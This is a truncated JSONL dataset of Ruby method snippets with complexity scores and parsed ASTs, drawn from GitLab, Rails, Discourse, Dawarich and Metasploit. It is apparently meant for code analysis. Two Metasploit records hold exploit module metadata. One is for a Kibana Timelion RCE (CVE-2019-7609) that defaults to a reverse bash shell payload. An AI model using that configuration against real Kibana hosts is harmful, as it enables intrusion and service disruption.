\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Env\"]},\"qa_cookies\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Main\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"canary?\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Canary\"]},\"CanaryValidationError\"]},{\"type\":\"str\",\"children\":[\"gitlab_canary=true cookie was set in browser but 'Next' badge was not shown on UI\"]}]}]}]}","id":"c8c9773d-2eff-41eb-b5bc-7502b0a3ee2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/test_report.rb","start_line":17,"raw_source":"def total_time\n          test_suites.values.sum(&:total_time)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"total_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_suites\"]},\"values\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_time\"]}]}]}]}","id":"0f0d3ec3-b5e5-41c0-897d-acfd63c84d90"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations.rb","start_line":63,"raw_source":"def self.register_db_config_handler(&block)\n      db_config_handlers << block\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"register_db_config_handler\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_config_handlers\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}","id":"c73963b1-5bf5-4a01-b84d-724376f33cbd"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":1259,"raw_source":"def test_nested_fields_with_nested_collections\n    form_with(model: @post, scope: \"post[]\") do |f|\n      concat f.text_field(:title)\n      concat f.fields(\"comment[]\", model: @comment) { |c|\n        concat c.text_field(:name)\n      }\n    end\n\n    expected = whole_form(\"/posts/123\", method: \"patch\") do\n      \"<input name='post[123][title]' type='text' value='Hello World' id='post_123_title' />\" \\\n      \"<input name='post[123][comment][][name]' type='text' value='new comment' id='post_123_comment__name' />\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_fields_with_nested_collections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"post[]\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields\",{\"type\":\"str\",\"children\":[\"comment[]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@comment\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name='post[123][title]' type='text' value='Hello World' id='post_123_title' />\"]},{\"type\":\"str\",\"children\":[\"<input name='post[123][comment][][name]' type='text' value='new comment' id='post_123_comment__name' />\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"a9b59b18-36b2-4545-8dd5-c98ede31bc1d"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/comparison_validation_test.rb","start_line":263,"raw_source":"def test_validates_comparison_with_custom_compare\n    custom = Struct.new(:amount) {\n      include Comparable\n\n      def <=>(other)\n        amount % 100 <=> other.amount % 100\n      end\n    }\n    Topic.validates_comparison_of :approved, greater_than_or_equal_to: custom.new(1150)\n\n    assert_invalid_values([custom.new(530), custom.new(2325)])\n    assert_valid_values([custom.new(575), custom.new(250), custom.new(1999)])\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_comparison_with_custom_compare\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"custom\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Struct\"]},\"new\",{\"type\":\"sym\",\"children\":[\"amount\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[null,\"Comparable\"]}]},{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"amount\"]},\"%\",{\"type\":\"int\",\"children\":[100]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"amount\"]},\"%\",{\"type\":\"int\",\"children\":[100]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_comparison_of\",{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"greater_than_or_equal_to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom\"]},\"new\",{\"type\":\"int\",\"children\":[1150]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_invalid_values\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom\"]},\"new\",{\"type\":\"int\",\"children\":[530]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom\"]},\"new\",{\"type\":\"int\",\"children\":[2325]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_valid_values\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom\"]},\"new\",{\"type\":\"int\",\"children\":[575]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom\"]},\"new\",{\"type\":\"int\",\"children\":[250]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom\"]},\"new\",{\"type\":\"int\",\"children\":[1999]}]}]}]}]}]}","id":"171492b2-365e-4513-9b20-5dd570780f10"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/work_items/type.rb","start_line":79,"raw_source":"def self.default_by_type(type)\n      found_type = find_by(base_type: type)\n      return found_type if found_type || !WorkItems::Type.base_types.key?(type.to_s)\n\n      error_message = <<~STRING\n        Default work item types have not been created yet. Make sure the DB has been seeded successfully.\n        See related documentation in\n        https://docs.gitlab.com/omnibus/settings/database.html#seed-the-database-fresh-installs-only\n\n        If you have additional questions, you can ask in\n        https://gitlab.com/gitlab-org/gitlab/-/issues/423483\n      STRING\n\n      raise DEFAULT_TYPES_NOT_SEEDED, error_message\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_by_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_type\",{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItems\"]},\"Type\"]},\"base_types\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_s\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_type\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Default work item types have not been created yet. Make sure the DB has been seeded successfully.\\n\"]},{\"type\":\"str\",\"children\":[\"See related documentation in\\n\"]},{\"type\":\"str\",\"children\":[\"https://docs.gitlab.com/omnibus/settings/database.html#seed-the-database-fresh-installs-only\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"If you have additional questions, you can ask in\\n\"]},{\"type\":\"str\",\"children\":[\"https://gitlab.com/gitlab-org/gitlab/-/issues/423483\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_TYPES_NOT_SEEDED\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}]}","id":"3e59fdee-8e5d-44c4-880b-5ff95765a794"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/lint.rb","start_line":63,"raw_source":"def simulate_pipeline_creation(content, ref)\n        pipeline = ::Ci::CreatePipelineService\n          .new(@project, @current_user, ref: ref)\n          .execute(:push, dry_run: true, content: content)\n          .payload\n\n        Result.new(\n          jobs: dry_run_convert_to_jobs(pipeline.stages),\n          merged_yaml: pipeline.config_metadata.try(:[], :merged_yaml),\n          errors: pipeline.error_messages.map(&:content),\n          warnings: pipeline.warning_messages(limit: ::Gitlab::Ci::Warnings::MAX_LIMIT).map(&:content),\n          includes: pipeline.config_metadata.try(:[], :includes)\n        )\n      end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"simulate_pipeline_creation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"CreatePipelineService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]},\"execute\",{\"type\":\"sym\",\"children\":[\"push\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dry_run\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]},\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jobs\"]},{\"type\":\"send\",\"children\":[null,\"dry_run_convert_to_jobs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"stages\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merged_yaml\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"config_metadata\"]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"merged_yaml\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"error_messages\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warnings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"warning_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Warnings\"]},\"MAX_LIMIT\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"config_metadata\"]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"includes\"]}]}]}]}]}]}]}","id":"2d2cd210-c341-4c87-b0c6-c03164595069"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/tty/unix/interact.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Unix TTY, Interact with Established Connection',\n        'Description' => 'Interacts with a TTY on an established socket connection',\n        'Author' => 'hdm',\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Arch' => ARCH_TTY,\n        'Handler' => Msf::Handler::FindTty,\n        'Session' => Msf::Sessions::TTY,\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix TTY, Interact with Established Connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Interacts with a TTY on an established socket connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_TTY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"FindTty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"TTY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"bc6c2e33-321f-48bd-9eaf-d4e0f5de2ab1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Kibana Timelion Prototype Pollution RCE',\n        'Description' => %q{\n          Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.\n          An attacker with access to the Timelion application could send a request that will attempt to execute\n          javascript code. This leads to an arbitrary command execution with permissions of the\n          Kibana process on the host system.\n\n          Exploitation will require a service or system reboot to restore normal operation.\n\n          The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells\n          (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a\n          docker image caused 6 shells.\n\n          Tested against kibana 6.5.4.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die', # msf module\n          'Michał Bentkowski', # original PoC, analysis\n          'Gaetan Ferry' # more analysis\n        ],\n        'References' => [\n          [ 'URL', 'https://github.com/mpgn/CVE-2019-7609'],\n          [ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'],\n          [ 'CVE', '2019-7609']\n        ],\n        'Platform' => ['unix'],\n        'Privileged' => false,\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DisclosureDate' => '2019-10-30',\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'PAYLOAD' => 'cmd/unix/reverse_bash',\n          'WfsDelay' => 10 # can take a minute to run\n        },\n        'Notes' => {\n          # the webserver doesn't die, but certain requests no longer respond before a timeout\n          # when things go poorly\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(5601),\n        OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/'])\n      ]\n    )\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Kibana Timelion Prototype Pollution RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.\\n\"]},{\"type\":\"str\",\"children\":[\"          An attacker with access to the Timelion application could send a request that will attempt to execute\\n\"]},{\"type\":\"str\",\"children\":[\"          javascript code. This leads to an arbitrary command execution with permissions of the\\n\"]},{\"type\":\"str\",\"children\":[\"          Kibana process on the host system.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Exploitation will require a service or system reboot to restore normal operation.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells\\n\"]},{\"type\":\"str\",\"children\":[\"          (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a\\n\"]},{\"type\":\"str\",\"children\":[\"          docker image caused 6 shells.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested against kibana 6.5.4.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"Michał Bentkowski\"]},{\"type\":\"str\",\"children\":[\"Gaetan Ferry\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/mpgn/CVE-2019-7609\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-7609\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-10-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_bash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5601]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI of the Kibana Application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"c2c6f3cf-4501-4e23-ba56-701954c228ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/setup/find-jh-branch.rb","start_line":100,"raw_source":"def merge_request\n    @merge_request ||= gitlab.merge_request(merge_request_project_id, merge_request_id)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab\"]},\"merge_request\",{\"type\":\"send\",\"children\":[null,\"merge_request_project_id\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_id\"]}]}]}]}","id":"453bfc34-997d-43cb-819b-f2b360ab8bbd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/time.rb","start_line":26,"raw_source":"def timezone\n          parameters[:timezone].to_s\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"timezone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timezone\"]}]},\"to_s\"]}]}","id":"dc79e86b-98c8-4855-8e47-107067c0e94c"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/points_controller.rb","start_line":6,"raw_source":"def index\n    @points = points\n              .without_raw_data\n              .where(timestamp: start_at..end_at)\n              .order(timestamp: order_by)\n              .page(params[:page])\n              .per(50)\n\n    @start_at = Time.zone.at(start_at)\n    @end_at = Time.zone.at(end_at)\n\n    @imports = current_user.imports.order(created_at: :desc)\n  end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@points\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"points\"]},\"without_raw_data\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_at\"]},{\"type\":\"send\",\"children\":[null,\"end_at\"]}]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[null,\"order_by\"]}]}]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@start_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[null,\"start_at\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@end_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[null,\"end_at\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@